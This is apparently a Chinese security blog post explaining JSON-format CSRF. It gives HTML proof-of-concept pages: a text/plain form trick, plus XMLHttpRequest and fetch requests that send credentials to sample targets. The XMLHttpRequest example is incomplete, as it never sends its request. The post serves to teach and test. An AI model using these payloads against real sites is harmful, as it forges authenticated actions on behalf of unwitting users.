JSON格式的CSRF

幸福感就如沉积在悲哀之河底隐隐发光的金沙。 ——太宰治《斜阳》

0x01 前言

前几天给一个系统做测试的时候,发现存在一个self-xss漏洞,就想着有没有CSRF能够进一步利用一下,结果发现POST提交的是json数组,利用BurpSuite快捷生成CSRF Poc发现里面没有提交的数据。


尝试好几次都是同样的结果,这我就奇怪了,难道json CSRF还不太一样?查了一下还真有点区别。

0x02 未验证Content-type

百度、必应、Google一顿骚操作,讲的最多就是Flash+307 redirect了。另外的有一种方法就是将 formENCTYPE 属性设置为 text/plain 时,json数组仍能被服务器接收,尝试发现返回结果说json格式错误(下列Poc做了一定处理,不是实际测试Poc)。

1
2
3
4
5
6
7
8
9
10
<html>
<title>JSON CSRF POC</title>
<form action="http://test.com/" method="POST" enctype="text/plain" >
<input name='{"accesstoken":"111111111111","strategynamex":"test","strategytype":"002001","conditionstype":"1","stratemode","1","strategystatus":"1","target":"' value='test"}' type='hidden'>
</form>

<script>
document.forms[0].submit();
</script>
</html>

原来使用POST提交json数组到服务器,服务器检测有Content-Type: application/json请求头则通过,否则抛出一个异常。

0x03 验证Content-type

使用XMLHttpRequest构造json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.admintony.com/address/addAddress.json", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
xhr.withCredentials = true;
var body = "{\"name\":\"SRC\",\"tel\":\"18681992828\",\"country\":\"\",\"province\":\"北京市\",\"city\":\"北京市\",\"county\":\"东城区\",\"areaCode\":\"110101\",\"postalCode\":\"\",\"addressDetail\":\"中关村\",\"isDefault\":false,\"userName\":\"美团SRC\",\"lat\":10.077726938827084,\"lon\":100.33235369626206}";
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

使用fetch构造json请求:

1
2
3
4
5
6
7
8
9
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit request"/>
</form>
</html>

使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是还是不能跨域,还是需要Flash+307 redirect才能利用。

0x04 总结

json csrf分两种情况:
不验证content-type比较容易绕过,重新构造form数据就ok了。
验证content-type就要结合第三方工具使用了。

0x05 参考

https://www.secpulse.com/archives/61297.html
http://www.admintony.com/csrf-and-json.html
https://www.cnblogs.com/blacksunny/p/7940287.html
https://www.freebuf.com/articles/web/164234.html

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×